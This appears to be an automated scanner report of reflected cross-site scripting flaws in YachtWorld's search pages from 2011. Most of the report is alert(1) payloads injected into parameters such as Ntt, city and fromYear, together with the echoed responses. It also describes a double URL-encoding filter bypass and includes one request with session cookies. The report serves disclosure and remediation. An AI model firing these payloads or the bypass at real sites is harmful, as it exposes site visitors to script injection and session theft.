<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "1058b65';alert(1)//c6b76bbd859"<br> ...[SNIP]...
The value of the Ntt request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf93a"style%3d"x%3aexpression(alert(1))"2b5366e8ff0642534 was submitted in the Ntt parameter. This input was echoed as cf93a"style="x:expression(alert(1))"2b5366e8ff0642534 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:40:28 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35506
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<titl ...[SNIP]... <meta name="description" content="2004 cf93a"style="x:expression(alert(1))"2b5366e8ff0642534 regulator Boats For Sale - YachtWorld.com"> ...[SNIP]...
The value of the Ntt request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 49516"style%3d"x%3aexpression(alert(1))"5bb11662727 was submitted in the Ntt parameter. This input was echoed as 49516"style="x:expression(alert(1))"5bb11662727 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:40:24 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35577
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<titl ...[SNIP]... <meta name="description" content="2004 49516"style="x:expression(alert(1))"5bb11662727 regulator Boats For Sale - YachtWorld.com"> ...[SNIP]...
The value of the Ntt request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3198b"%3balert(1)//94e71135684 was submitted in the Ntt parameter. This input was echoed as 3198b";alert(1)//94e71135684 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:40:24 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35349
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the Ntt request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 39607"%3balert(1)//b40b46340cb2aec7a was submitted in the Ntt parameter. This input was echoed as 39607";alert(1)//b40b46340cb2aec7a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:40:30 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35440
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the cint request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 169f3'%3balert(1)//f9a9fff124 was submitted in the cint parameter. This input was echoed as 169f3';alert(1)//f9a9fff124 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:34 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 41253
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<script ...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "100169f3';alert(1)//f9a9fff124"<br> ...[SNIP]...
The value of the city request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 49dab"%3balert(1)//2f4fe535b2f was submitted in the city parameter. This input was echoed as 49dab";alert(1)//2f4fe535b2f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:41:36 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35274
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the city request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96a74"><script>alert(1)</script>af46be172fc was submitted in the city parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:41:36 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35380
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<titl ...[SNIP]... <meta name="description" content="2004 regulator Boats For Sale 96a74"><script>alert(1)</script>af46be172fc - YachtWorld.com"> ...[SNIP]...
The value of the city request parameter is copied into the HTML document as text between TITLE tags. The payload 11892</title><script>alert(1)</script>9de3548a2a1 was submitted in the city parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:41:37 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35457
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>2004 regulator Boats For Sale 11892</title><script>alert(1)</script>9de3548a2a1</title> ...[SNIP]...
The value of the enid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f380a"%3balert(1)//06fb479cf89 was submitted in the enid parameter. This input was echoed as f380a";alert(1)//06fb479cf89 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:59 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35248
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the fromLength request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 235b4'%3balert(1)//48e3f34999b was submitted in the fromLength parameter. This input was echoed as 235b4';alert(1)//48e3f34999b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:59 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 93592
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the fromLength request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ce63f'%3balert(1)//95f22e921dffab3cc was submitted in the fromLength parameter. This input was echoed as ce63f';alert(1)//95f22e921dffab3cc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:57 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 94029
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the fromYear request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8bd54'%3balert(1)//1b107f31ae9bf85d9 was submitted in the fromYear parameter. This input was echoed as 8bd54';alert(1)//1b107f31ae9bf85d9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:40:12 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 95401
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the fromYear request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad4d1"style%3d"x%3aexpression(alert(1))"a06bc2d6d797995b7 was submitted in the fromYear parameter. This input was echoed as ad4d1"style="x:expression(alert(1))"a06bc2d6d797995b7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:40:11 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 96661
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<titl ...[SNIP]... <meta name="description" content="2004ad4d1"style="x:expression(alert(1))"a06bc2d6d797995b7 regulator Boats For Sale - YachtWorld.com"> ...[SNIP]...
The value of the fromYear request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1ce4"style%3d"x%3aexpression(alert(1))"feb11a15dbc was submitted in the fromYear parameter. This input was echoed as f1ce4"style="x:expression(alert(1))"feb11a15dbc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:33 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 95677
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<titl ...[SNIP]... <meta name="description" content="2004f1ce4"style="x:expression(alert(1))"feb11a15dbc regulator Boats For Sale - YachtWorld.com"> ...[SNIP]...
The value of the fromYear request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cfcea'%3balert(1)//f3edb3a3b4f was submitted in the fromYear parameter. This input was echoed as cfcea';alert(1)//f3edb3a3b4f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:33 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 94417
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the ftid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 16fdc"%3balert(1)//0752cca2e was submitted in the ftid parameter. This input was echoed as 16fdc";alert(1)//0752cca2e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:40:51 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35270
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the hmid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1436c"%3balert(1)//652196e7185 was submitted in the hmid parameter. This input was echoed as 1436c";alert(1)//652196e7185 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:51 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35264
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the is request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 11668"%3balert(1)//9b29a752fbc was submitted in the is parameter. This input was echoed as 11668";alert(1)//9b29a752fbc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:40:25 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35286
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the is request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 374af"%3balert(1)//0b9e70a6aecda86b1 was submitted in the is parameter. This input was echoed as 374af";alert(1)//0b9e70a6aecda86b1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:41 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35278
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the luom request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b0ec3%2522%253balert%25281%2529%252f%252f49ee2de717e was submitted in the luom parameter. This input was echoed as b0ec3";alert(1)//49ee2de717e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of the luom request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /core/listing/cache/searchResults.jsp?Ntk=boatsEN&searchtype=homepage&fromYear=2004&sm=3&luom=126b0ec3%2522%253balert%25281%2529%252f%252f49ee2de717e¤cyid=100&cit=true&toLength=32&fromLength=24&fromPrice=0&man=regulator&slim=quick&N=3941&is=false&pricderange=Select+Price+Range HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:20:04 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the luom request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a8980"%3balert(1)//282711d9efdc263a2 was submitted in the luom parameter. This input was echoed as a8980";alert(1)//282711d9efdc263a2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:52 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35304
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the luom request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 33903"%3balert(1)//e2ce346726d was submitted in the luom parameter. This input was echoed as 33903";alert(1)//e2ce346726d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:39:54 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35316
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the man request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 69386"%3balert(1)//35c2b8126ad was submitted in the man parameter. This input was echoed as 69386";alert(1)//35c2b8126ad in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:40:13 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 35403
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
